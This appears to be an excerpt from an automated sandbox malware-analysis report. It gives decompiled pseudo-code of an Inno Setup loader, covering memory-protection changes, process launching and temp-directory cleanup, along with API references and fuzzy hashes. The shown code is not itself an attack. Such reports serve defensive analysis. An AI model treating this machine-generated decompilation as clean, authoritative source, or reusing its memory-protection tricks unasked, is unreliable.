4042a3 6300->6301 6302 404270 6301->6302 6303 403154 4 API calls 6301->6303 6304 4043c7 6303->6304 6425 4042aa 6426 404270 6425->6426 6429 4042ae 6425->6429 6427 404326 6428 403154 4 API calls 6430 4043c7 6428->6430 6429->6427 6429->6428 6742 4011aa 6743 4011ac GetStdHandle 6742->6743 6586 403f2b 6587 403ef0 6586->6587 6588 403f0b 6587->6588 6589 403f06 6587->6589 6590 403f1f 6587->6590 6593 403f1c 6588->6593 6594 402674 4 API calls 6588->6594 6592 403d6c 4 API calls 6589->6592 6591 402674 4 API calls 6590->6591 6591->6593 6592->6588 6594->6593 6431 4028ac 6432 402594 4 API calls 6431->6432 6433 4028b6 6432->6433 6595 409d2c 6604 409128 6595->6604 6598 402f24 5 API calls 6599 409d49 6598->6599 6600 403198 4 API calls 6599->6600 6601 409d68 6600->6601 6602 403198 4 API calls 6601->6602 6603 409d70 6602->6603 6613 405668 6604->6613 6606 409171 6609 403198 4 API calls 6606->6609 6607 409143 6607->6606 6619 406fcc 6607->6619 6611 409186 6609->6611 6610 409161 6612 409169 MessageBoxA 6610->6612 6611->6598 6611->6599 6612->6606 6614 403154 4 API calls 6613->6614 6615 40566d 6614->6615 6616 405685 6615->6616 6617 403154 4 API calls 6615->6617 6616->6607 6618 40567b 6617->6618 6618->6607 6620 405668 4 API calls 6619->6620 6621 406fdb 6620->6621 6622 406fe1 6621->6622 6623 406fef 6621->6623 6624 40322c 4 API calls 6622->6624 6626 40700b 6623->6626 6627 406fff 6623->6627 6625 406fed 6624->6625 6625->6610 6637 4032b8 6626->6637 6630 406f90 6627->6630 6631 40322c 4 API calls 6630->6631 6632 406f9f 6631->6632 6633 406fbc 6632->6633 6634 4067a8 CharPrevA 6632->6634 6633->6625 6635 406fab 6634->6635 6635->6633 6636 4032fc 4 API calls 6635->6636 6636->6633 6638 403278 4 API calls 6637->6638 6639 4032c2 6638->6639 6639->6625 6175 409aae 6176 409ad3 6175->6176 6177 407618 InterlockedExchange 6176->6177 6178 409af5 6177->6178 6179 409b02 6178->6179 6180 409540 4 API calls 6178->6180 6181 407354 23 API calls 6179->6181 6180->6179 6182 409b12 6181->6182 6191 4073ac SetEndOfFile 6182->6191 6185 407354 23 API calls 6186 409b28 6185->6186 6195 4073c8 WriteFile 6186->6195 6189 4025ac 4 API calls 6190 409b51 6189->6190 6192 4073c3 6191->6192 6193 4073bc 6191->6193 6192->6185 6194 4072d8 21 API calls 6193->6194 6194->6192 6196 4073e8 6195->6196 6197 4073ef 6195->6197 6198 4072d8 21 API calls 6196->6198 6199 407400 6197->6199 6200 407238 20 API calls 6197->6200 6198->6197 6199->6189 6200->6199 6438 401ab9 6439 401a96 6438->6439 6440 401aa9 RtlDeleteCriticalSection 6439->6440 6441 401a9f RtlLeaveCriticalSection 6439->6441 6441->6440 6655 403b3b 6656 403b50 6655->6656 6657 403c60 GetStdHandle 6656->6657 6658 403bb2 6CAA5CA0 6656->6658 6668 403b56 6656->6668 6660 403cbb GetLastError 6657->6660 6662 403c5e 6657->6662 6659 403bd0 6658->6659 6658->6660 6659->6662 6663 403bdf GetFileSize 6659->6663 6660->6668 6665 403c8b GetFileType 6662->6665 6662->6668 6663->6660 6664 403bf2 SetFilePointer 6663->6664 6664->6660 6669 403c0e ReadFile 6664->6669 6667 403ca6 CloseHandle 6665->6667 6665->6668 6667->6668 6669->6660 6670 403c30 6669->6670 6670->6662 6671 403c43 SetFilePointer 6670->6671 6671->6660 6672 403c54 SetEndOfFile 6671->6672 6672->6660 6672->6662

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 212 4095d0-4095f4 GetSystemInfo VirtualQuery 213 409684-40968b 212->213 214 4095fa 212->214 215 409679-40967e 214->215 215->213 216 4095fc-409603 215->216 217 409665-409677 VirtualQuery 216->217 218 409605-409609 216->218 217->213 217->215 218->217 219 40960b-409613 218->219 220 409624-409635 VirtualProtect 219->220 221 409615-409618 219->221 223 409637 220->223 224 409639-40963b 220->224 221->220 222 40961a-40961d 221->222 222->220 225 40961f-409622 222->225 223->224 226 40964a-40964d 224->226 225->220 225->224 227 40963d-409646 call 4095c8 226->227 228 40964f-409651 226->228 227->226 228->217 230 409653-409660 VirtualProtect 228->230 230->217
                                                          C-Code - Quality: 100%
                                                          			E004095D0(void* __eax) {
                                                          				char _v44;
                                                          				struct _SYSTEM_INFO _v80;
                                                          				long _v84;
                                                          				long _t17;
                                                          				long _t20;
                                                          				int _t23;
                                                          				void* _t33;
                                                          				void* _t34;
                                                          				struct _MEMORY_BASIC_INFORMATION* _t35;
                                                          				void* _t36;
                                                          				DWORD* _t37;
                                                          
                                                          				_t34 = __eax;
                                                          				_t35 =  &_v44;
                                                          				GetSystemInfo( &_v80); // executed
                                                          				_t17 = VirtualQuery(_t34, _t35, 0x1c);
                                                          				if(_t17 == 0) {
                                                          					L17:
                                                          					return _t17;
                                                          				} else {
                                                          					while(1) {
                                                          						_t17 = _t35->AllocationBase;
                                                          						if(_t17 != _t34) {
                                                          							goto L17;
                                                          						}
                                                          						if(_t35->State != 0x1000 || (_t35->Protect & 0x00000001) != 0) {
                                                          							L15:
                                                          							_t17 = VirtualQuery(_t35->BaseAddress + _t35->RegionSize, _t35, 0x1c);
                                                          							if(_t17 == 0) {
                                                          								goto L17;
                                                          							}
                                                          							continue;
                                                          						} else {
                                                          							_t33 = 0;
                                                          							_t20 = _t35->Protect;
                                                          							if(_t20 == 1 || _t20 == 2 || _t20 == 0x10 || _t20 == 0x20) {
                                                          								_t23 = VirtualProtect(_t35->BaseAddress, _t35->RegionSize, 0x40, _t37); // executed
                                                          								if(_t23 != 0) {
                                                          									_t33 = 1;
                                                          								}
                                                          							}
                                                          							_t36 = 0;
                                                          							while(_t36 < _t35->RegionSize) {
                                                          								E004095C8(_t35->BaseAddress + _t36);
                                                          								_t36 = _t36 + _v80.dwPageSize;
                                                          							}
                                                          							if(_t33 != 0) {
                                                          								VirtualProtect( *_t35, _t35->RegionSize, _v84, _t37); // executed
                                                          							}
                                                          							goto L15;
                                                          						}
                                                          					}
                                                          					goto L17;
                                                          				}
                                                          			}














                                                          0x004095d7
                                                          0x004095d9
                                                          0x004095e2
                                                          0x004095ed
                                                          0x004095f4
                                                          0x0040968b
                                                          0x0040968b
                                                          0x004095fa
                                                          0x00409679
                                                          0x00409679
                                                          0x0040967e
                                                          0x00000000
                                                          0x00000000
                                                          0x00409603
                                                          0x00409665
                                                          0x00409670
                                                          0x00409677
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040960b
                                                          0x0040960b
                                                          0x0040960d
                                                          0x00409613
                                                          0x0040962e
                                                          0x00409635
                                                          0x00409637
                                                          0x00409637
                                                          0x00409635
                                                          0x00409639
                                                          0x0040964a
                                                          0x00409641
                                                          0x00409646
                                                          0x00409646
                                                          0x00409651
                                                          0x00409660
                                                          0x00409660
                                                          0x00000000
                                                          0x00409651
                                                          0x00409603
                                                          0x00000000
                                                          0x00409679

                                                          APIs
                                                          • GetSystemInfo.KERNEL32(?), ref: 004095E2
                                                          • VirtualQuery.KERNEL32(00400000,?,0000001C,?), ref: 004095ED
                                                          • VirtualProtect.KERNEL32(?,?,00000040,?,00400000,?,0000001C,?), ref: 0040962E
                                                          • VirtualProtect.KERNEL32(?,?,?,?,?,?,00000040,?,00400000,?,0000001C,?), ref: 00409660
                                                          • VirtualQuery.KERNEL32(?,?,0000001C,00400000,?,0000001C,?), ref: 00409670
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: Virtual$ProtectQuery$InfoSystem
                                                          • String ID:
                                                          • API String ID: 2441996862-0
                                                          • Opcode ID: 85b18180d66bdf2954a0f01b34dac3b484fd17edf4cef21fe59ba73b4be0088e
                                                          • Instruction ID: 0656fbc56265512395c7473ff46e648f44ffc8c3e8aba936dfc90547529e206a
                                                          • Opcode Fuzzy Hash: 85b18180d66bdf2954a0f01b34dac3b484fd17edf4cef21fe59ba73b4be0088e
                                                          • Instruction Fuzzy Hash: E421AEB1600704ABC730AA69CC85E57B7D89B45364F044C3AFA89E23D2D77AEC408A69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004051C8(int __eax, void* __ecx, int __edx, intOrPtr _a4) {
                                                          				char _v260;
                                                          				int _t5;
                                                          				intOrPtr _t10;
                                                          				void* _t18;
                                                          
                                                          				_t18 = __ecx;
                                                          				_t10 = _a4;
                                                          				_t5 = GetLocaleInfoA(__eax, __edx,  &_v260, 0x100); // executed
                                                          				_t19 = _t5;
                                                          				if(_t5 <= 0) {
                                                          					return E0040322C(_t10, _t18);
                                                          				}
                                                          				return E00403278(_t10, _t5 - 1,  &_v260, _t19);
                                                          			}







                                                          0x004051d3
                                                          0x004051d5
                                                          0x004051e6
                                                          0x004051eb
                                                          0x004051ed
                                                          0x00000000
                                                          0x00405205
                                                          0x00000000

                                                          APIs
                                                          • GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040B4BC,00000001,?,00405293,?,00000000,00405372), ref: 004051E6
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: InfoLocale
                                                          • String ID:
                                                          • API String ID: 2299586839-0
                                                          • Opcode ID: 0f065b524a5ae8c1bbc1f93c4350eb024ca65793e4df99a60d4c7e896da620a2
                                                          • Instruction ID: fe7bbfd5d4e4c6ef40831497ab1799179caed6740609745ba53a66c6a9ac1ef8
                                                          • Opcode Fuzzy Hash: 0f065b524a5ae8c1bbc1f93c4350eb024ca65793e4df99a60d4c7e896da620a2
                                                          • Instruction Fuzzy Hash: EBE0927170021827D710A9699C86AEB725CDB58314F0042BFFA14E73C2EDB49E804AED
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          C-Code - Quality: 44%
                                                          			E00409428(void* __eax, void* __ebx, DWORD* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                                                          				DWORD* _v8;
                                                          				char _v12;
                                                          				char _v80;
                                                          				void* _v92;
                                                          				void* _v96;
                                                          				char _v124;
                                                          				void* _t24;
                                                          				MSG* _t45;
                                                          				intOrPtr _t53;
                                                          				void* _t60;
                                                          
                                                          				_v12 = 0;
                                                          				_v8 = __ecx;
                                                          				_t57 = __eax;
                                                          				_t45 =  &_v124;
                                                          				_push(_t60);
                                                          				_push(0x409518);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t60 + 0xffffff88;
                                                          				_push(0x409530);
                                                          				_push(__eax);
                                                          				_push(E0040953C);
                                                          				_push(__edx);
                                                          				E004033B4();
                                                          				E0040277C( &_v80, 0x44);
                                                          				_v80 = 0x44;
                                                          				_push( &_v96);
                                                          				_push( &_v80);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_t24 = E004034B8(_v12);
                                                          				_push(_t24);
                                                          				_push(0); // executed
                                                          				L00404480(); // executed
                                                          				_t63 = _t24;
                                                          				if(_t24 == 0) {
                                                          					E00409074(0x62, _t45, 0, __edx, _t57, _t63);
                                                          				}
                                                          				CloseHandle(_v92);
                                                          				L4:
                                                          				while(PeekMessageA(_t45, 0, 0, 0, 1) != 0) {
                                                          					TranslateMessage(_t45);
                                                          					DispatchMessageA(_t45);
                                                          				}
                                                          				if(MsgWaitForMultipleObjects(1,  &_v96, 0, 0xffffffff, 0xff) == 1) {
                                                          					goto L4;
                                                          				}
                                                          				GetExitCodeProcess(_v96, _v8); // executed
                                                          				CloseHandle(_v96);
                                                          				_pop(_t53);
                                                          				 *[fs:eax] = _t53;
                                                          				_push(E0040951F);
                                                          				return E00403198( &_v12);
                                                          			}













                                                          0x00409433
                                                          0x00409436
                                                          0x0040943b
                                                          0x0040943d
                                                          0x00409442
                                                          0x00409443
                                                          0x00409448
                                                          0x0040944b
                                                          0x0040944e
                                                          0x00409453
                                                          0x00409454
                                                          0x00409459
                                                          0x00409462
                                                          0x00409471
                                                          0x00409476
                                                          0x00409480
                                                          0x00409484
                                                          0x00409485
                                                          0x00409487
                                                          0x00409489
                                                          0x0040948b
                                                          0x0040948d
                                                          0x0040948f
                                                          0x00409494
                                                          0x00409499
                                                          0x0040949a
                                                          0x0040949c
                                                          0x004094a1
                                                          0x004094a3
                                                          0x004094a7
                                                          0x004094a7
                                                          0x004094b0
                                                          0x00000000
                                                          0x004094c3
                                                          0x004094b8
                                                          0x004094be
                                                          0x004094be
                                                          0x004094ea
                                                          0x00000000
                                                          0x00000000
                                                          0x004094f4
                                                          0x004094fd
                                                          0x00409504
                                                          0x00409507
                                                          0x0040950a
                                                          0x00409517

                                                          APIs
                                                          • 6CF17180.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,0040953C,01F90F20,00409530,00000000,00409518), ref: 0040949C
                                                          • CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,0040953C,01F90F20,00409530,00000000), ref: 004094B0
                                                          • TranslateMessage.USER32(?), ref: 004094B8
                                                          • DispatchMessageA.USER32 ref: 004094BE
                                                          • PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 004094CC
                                                          • MsgWaitForMultipleObjects.USER32 ref: 004094E4
                                                          • GetExitCodeProcess.KERNEL32 ref: 004094F4
                                                          • CloseHandle.KERNEL32(?,?,?,00000001,?,00000000,000000FF,000000FF,?,00000000,00000000,00000000,00000001,?,?,00000000), ref: 004094FD
                                                            • Part of subcall function 00409074: GetLastError.KERNEL32(00000000,00409117,?,?,01F90F20,?), ref: 00409098
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: Message$CloseHandle$CodeDispatchErrorExitF17180LastMultipleObjectsPeekProcessTranslateWait
                                                          • String ID: D
                                                          • API String ID: 3416771254-2746444292
                                                          • Opcode ID: 541e622093a4bd077440b65d585bc48048343c91443cc23aaac708844e5c3a71
                                                          • Instruction ID: 165020aee64a3a41629bef3a081bcf9c3ca27071ff5627924b238e814c175051
                                                          • Opcode Fuzzy Hash: 541e622093a4bd077440b65d585bc48048343c91443cc23aaac708844e5c3a71
                                                          • Instruction Fuzzy Hash: 7121A4B1A442087ADB10EBE6CC42F9E77AC9F48714F50413AB714F61C2DA7C9A018A2D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          C-Code - Quality: 81%
                                                          			E00409B76(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
                                                          				struct HINSTANCE__* _t31;
                                                          				struct HWND__* _t32;
                                                          				struct HWND__* _t33;
                                                          				struct HWND__* _t36;
                                                          				intOrPtr _t43;
                                                          				intOrPtr _t44;
                                                          				void* _t47;
                                                          				void* _t52;
                                                          				intOrPtr _t54;
                                                          				intOrPtr _t57;
                                                          				int _t58;
                                                          				intOrPtr _t59;
                                                          				intOrPtr _t61;
                                                          				intOrPtr _t64;
                                                          				intOrPtr _t66;
                                                          				intOrPtr _t74;
                                                          				intOrPtr _t78;
                                                          				intOrPtr _t83;
                                                          				void* _t89;
                                                          
                                                          				_t87 = __esi;
                                                          				_t86 = __edi;
                                                          				_t67 = __ebx;
                                                          				 *((intOrPtr*)(__esi - 0x65)) =  *((intOrPtr*)(__esi - 0x65)) + __ebx;
                                                          				 *((intOrPtr*)(__ebx - 0x17aff3c0)) =  *((intOrPtr*)(__ebx - 0x17aff3c0)) + __ecx;
                                                          				_pop(_t89);
                                                          				_t91 = __eax + 0x73 & 0x61b0ffff;
                                                          				E00409074(__eax + 0x73, __ebx, __ecx, __edi, __esi, __eax + 0x73 & 0x61b0ffff);
                                                          				E00402F24();
                                                          				E00406DD4(0x40bdd8);
                                                          				_t31 =  *0x40b014; // 0x400000
                                                          				_t32 = CreateWindowExA(0, "STATIC", "InnoSetupLdrWindow", 0, 0, 0, 0, 0, 0, 0, _t31, 0); // executed
                                                          				 *0x40a240 = _t32;
                                                          				_t33 =  *0x40a240; // 0x30340
                                                          				 *0x40bdd0 = SetWindowLongA(_t33, 0xfffffffc, E00409394);
                                                          				_t36 =  *0x40a240; // 0x30340
                                                          				 *(_t89 - 0x18) = _t36;
                                                          				 *((char*)(_t89 - 0x14)) = 0;
                                                          				E00405150("/SL4 $%x \"", 0, _t89 - 0x18, _t89 - 0x10);
                                                          				_t78 =  *0x40bdd4; // 0x1f903cc
                                                          				E004032FC(_t89 - 0x10, _t78);
                                                          				_push(_t89 - 0x10);
                                                          				_t43 =  *0x40be08; // 0x1072c9
                                                          				 *((intOrPtr*)(_t89 - 0x2c)) = _t43;
                                                          				 *((char*)(_t89 - 0x28)) = 0;
                                                          				_t44 =  *0x40be0c; // 0xca00
                                                          				 *((intOrPtr*)(_t89 - 0x24)) = _t44;
                                                          				 *((char*)(_t89 - 0x20)) = 0;
                                                          				E00405150("\" %d %d ", 1, _t89 - 0x2c, _t89 - 0x1c);
                                                          				_pop(_t47);
                                                          				E004032FC(_t47,  *((intOrPtr*)(_t89 - 0x1c)));
                                                          				_push(_t89 - 0x10);
                                                          				E004068F8(_t89 - 0x1c);
                                                          				_pop(_t52);
                                                          				E004032FC(_t52,  *((intOrPtr*)(_t89 - 0x1c)));
                                                          				_t54 =  *0x40be18; // 0x1f90f20, executed
                                                          				E00409428(_t54, __ebx, 0x40a23c,  *((intOrPtr*)(_t89 - 0x10)), __edi, __esi, _t91); // executed
                                                          				_pop(_t83);
                                                          				 *[fs:eax] = _t83;
                                                          				_push(E00409D0F);
                                                          				_t57 =  *0x40bdd8; // 0x0
                                                          				_t58 = E00402924(_t57);
                                                          				if( *0x40be18 != 0) {
                                                          					_t66 =  *0x40be18; // 0x1f90f20, executed
                                                          					_t58 = E0040900C(_t66, 0xd, 0xfa); // executed
                                                          				}
                                                          				if( *0x40be14 != 0) {
                                                          					_t64 =  *0x40be14; // 0x1f90e60
                                                          					_t58 = RemoveDirectoryA(E004034B8(_t64)); // executed
                                                          				}
                                                          				if( *0x40a240 != 0) {
                                                          					_t58 =  *0x40a240; // 0x30340
                                                          					_push(_t58); // executed
                                                          					L004045A0(); // executed
                                                          				}
                                                          				if( *0x40bdc8 != 0) {
                                                          					_t59 =  *0x40bdc8; // 0x0
                                                          					_t74 =  *0x40bdcc; // 0x1
                                                          					E00403620(_t59, _t67, _t74, 0x408828, _t86, _t87);
                                                          					_t61 =  *0x40bdc8; // 0x0
                                                          					E004025AC(_t61);
                                                          					 *0x40bdc8 = 0;
                                                          					return 0;
                                                          				}
                                                          				return _t58;
                                                          			}






















                                                          0x00409b76
                                                          0x00409b76
                                                          0x00409b76
                                                          0x00409b79
                                                          0x00409b7d
                                                          0x00409b83
                                                          0x00409b84
                                                          0x00409b89
                                                          0x00409b8e
                                                          0x00409b98
                                                          0x00409b9f
                                                          0x00409bbf
                                                          0x00409bc4
                                                          0x00409bd0
                                                          0x00409bdb
                                                          0x00409be4
                                                          0x00409be9
                                                          0x00409bec
                                                          0x00409bfa
                                                          0x00409c02
                                                          0x00409c08
                                                          0x00409c10
                                                          0x00409c15
                                                          0x00409c1a
                                                          0x00409c1d
                                                          0x00409c21
                                                          0x00409c26
                                                          0x00409c29
                                                          0x00409c3a
                                                          0x00409c42
                                                          0x00409c43
                                                          0x00409c4b
                                                          0x00409c4f
                                                          0x00409c57
                                                          0x00409c58
                                                          0x00409c65
                                                          0x00409c6a
                                                          0x00409c71
                                                          0x00409c74
                                                          0x00409c77
                                                          0x00409c7c
                                                          0x00409c81
                                                          0x00409c8d
                                                          0x00409c9e
                                                          0x00409ca3
                                                          0x00409ca3
                                                          0x00409caf
                                                          0x00409cb1
                                                          0x00409cbc
                                                          0x00409cbc
                                                          0x00409cc8
                                                          0x00409cca
                                                          0x00409ccf
                                                          0x00409cd0
                                                          0x00409cd0
                                                          0x00409cdc
                                                          0x00409cde
                                                          0x00409ce3
                                                          0x00409cee
                                                          0x00409cf3
                                                          0x00409cf8
                                                          0x00409cff
                                                          0x00000000
                                                          0x00409cff
                                                          0x00409d04

                                                          APIs
                                                            • Part of subcall function 00409074: GetLastError.KERNEL32(00000000,00409117,?,?,01F90F20,?), ref: 00409098
                                                          • CreateWindowExA.USER32 ref: 00409BBF
                                                          • SetWindowLongA.USER32 ref: 00409BD6
                                                            • Part of subcall function 004068F8: GetCommandLineA.KERNEL32(0040BDE0,?,00406A3C,00000000,00406A78,?,?,0040BDE0,?,00000000,00000000,?,004091B1,00000000,0040923D), ref: 004068FC
                                                            • Part of subcall function 00409428: 6CF17180.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,0040953C,01F90F20,00409530,00000000,00409518), ref: 0040949C
                                                            • Part of subcall function 00409428: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,0040953C,01F90F20,00409530,00000000), ref: 004094B0
                                                            • Part of subcall function 00409428: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 004094CC
                                                            • Part of subcall function 00409428: MsgWaitForMultipleObjects.USER32 ref: 004094E4
                                                            • Part of subcall function 00409428: GetExitCodeProcess.KERNEL32 ref: 004094F4
                                                            • Part of subcall function 00409428: CloseHandle.KERNEL32(?,?,?,00000001,?,00000000,000000FF,000000FF,?,00000000,00000000,00000000,00000001,?,?,00000000), ref: 004094FD
                                                          • RemoveDirectoryA.KERNEL32(00000000,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409CBC
                                                          • 72E69840.USER32(00030340,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409CD0
                                                            • Part of subcall function 0040900C: Sleep.KERNEL32(?,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 0040902B
                                                            • Part of subcall function 0040900C: 6CAA5F60.KERNEL32(00000000,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 00409048
                                                            • Part of subcall function 0040900C: GetLastError.KERNEL32(00000000,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 00409051
                                                            • Part of subcall function 0040900C: GetLastError.KERNEL32(00000000,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 0040905B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$CloseHandleWindow$CodeCommandCreateDirectoryE69840ExitF17180LineLongMessageMultipleObjectsPeekProcessRemoveSleepWait
                                                          • String ID: " %d %d $/SL4 $%x "$InnoSetupLdrWindow$STATIC
                                                          • API String ID: 1063968095-4098424104
                                                          • Opcode ID: 707660f298a68c925a0dde8ea74b58ad7188688c565157ce9c8db040099f3dbf
                                                          • Instruction ID: 8e3adf8ed3f4642860e28b2e725b1cd2950c6588c507c52647e165c275316d40
                                                          • Opcode Fuzzy Hash: 707660f298a68c925a0dde8ea74b58ad7188688c565157ce9c8db040099f3dbf
                                                          • Instruction Fuzzy Hash: 25413A70A042059BD701EBA9ED46BAA77A4EF84304F24453BE210B73E2C77C98458B9D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          C-Code - Quality: 82%
                                                          			E00409B63(void* __ebx, void* __edi, void* __esi, void* __eflags) {
                                                          				struct HINSTANCE__* _t21;
                                                          				struct HWND__* _t22;
                                                          				struct HWND__* _t23;
                                                          				struct HWND__* _t26;
                                                          				intOrPtr _t33;
                                                          				intOrPtr _t34;
                                                          				void* _t37;
                                                          				void* _t42;
                                                          				intOrPtr _t44;
                                                          				intOrPtr _t47;
                                                          				int _t48;
                                                          				intOrPtr _t49;
                                                          				intOrPtr _t51;
                                                          				intOrPtr _t54;
                                                          				intOrPtr _t56;
                                                          				intOrPtr _t65;
                                                          				intOrPtr _t67;
                                                          				intOrPtr _t69;
                                                          				intOrPtr _t74;
                                                          				void* _t79;
                                                          				void* _t80;
                                                          
                                                          				_t80 = __eflags;
                                                          				_t78 = __esi;
                                                          				_t77 = __edi;
                                                          				_t57 = __ebx;
                                                          				_pop(_t67);
                                                          				 *[fs:eax] = _t67;
                                                          				E00406DD4(0x40bdd8);
                                                          				_t21 =  *0x40b014; // 0x400000
                                                          				_t22 = CreateWindowExA(0, "STATIC", "InnoSetupLdrWindow", 0, 0, 0, 0, 0, 0, 0, _t21, 0); // executed
                                                          				 *0x40a240 = _t22;
                                                          				_t23 =  *0x40a240; // 0x30340
                                                          				 *0x40bdd0 = SetWindowLongA(_t23, 0xfffffffc, E00409394);
                                                          				_t26 =  *0x40a240; // 0x30340
                                                          				 *(_t79 - 0x18) = _t26;
                                                          				 *((char*)(_t79 - 0x14)) = 0;
                                                          				E00405150("/SL4 $%x \"", 0, _t79 - 0x18, _t79 - 0x10);
                                                          				_t69 =  *0x40bdd4; // 0x1f903cc
                                                          				E004032FC(_t79 - 0x10, _t69);
                                                          				_push(_t79 - 0x10);
                                                          				_t33 =  *0x40be08; // 0x1072c9
                                                          				 *((intOrPtr*)(_t79 - 0x2c)) = _t33;
                                                          				 *((char*)(_t79 - 0x28)) = 0;
                                                          				_t34 =  *0x40be0c; // 0xca00
                                                          				 *((intOrPtr*)(_t79 - 0x24)) = _t34;
                                                          				 *((char*)(_t79 - 0x20)) = 0;
                                                          				E00405150("\" %d %d ", 1, _t79 - 0x2c, _t79 - 0x1c);
                                                          				_pop(_t37);
                                                          				E004032FC(_t37,  *((intOrPtr*)(_t79 - 0x1c)));
                                                          				_push(_t79 - 0x10);
                                                          				E004068F8(_t79 - 0x1c);
                                                          				_pop(_t42);
                                                          				E004032FC(_t42,  *((intOrPtr*)(_t79 - 0x1c)));
                                                          				_t44 =  *0x40be18; // 0x1f90f20, executed
                                                          				E00409428(_t44, __ebx, 0x40a23c,  *((intOrPtr*)(_t79 - 0x10)), __edi, __esi, _t80); // executed
                                                          				_pop(_t74);
                                                          				 *[fs:eax] = _t74;
                                                          				_push(E00409D0F);
                                                          				_t47 =  *0x40bdd8; // 0x0
                                                          				_t48 = E00402924(_t47);
                                                          				if( *0x40be18 != 0) {
                                                          					_t56 =  *0x40be18; // 0x1f90f20, executed
                                                          					_t48 = E0040900C(_t56, 0xd, 0xfa); // executed
                                                          				}
                                                          				if( *0x40be14 != 0) {
                                                          					_t54 =  *0x40be14; // 0x1f90e60
                                                          					_t48 = RemoveDirectoryA(E004034B8(_t54)); // executed
                                                          				}
                                                          				if( *0x40a240 != 0) {
                                                          					_t48 =  *0x40a240; // 0x30340
                                                          					_push(_t48); // executed
                                                          					L004045A0(); // executed
                                                          				}
                                                          				if( *0x40bdc8 != 0) {
                                                          					_t49 =  *0x40bdc8; // 0x0
                                                          					_t65 =  *0x40bdcc; // 0x1
                                                          					E00403620(_t49, _t57, _t65, 0x408828, _t77, _t78);
                                                          					_t51 =  *0x40bdc8; // 0x0
                                                          					E004025AC(_t51);
                                                          					 *0x40bdc8 = 0;
                                                          					return 0;
                                                          				}
                                                          				return _t48;
                                                          			}
























                                                          0x00409b63
                                                          0x00409b63
                                                          0x00409b63
                                                          0x00409b63
                                                          0x00409b65
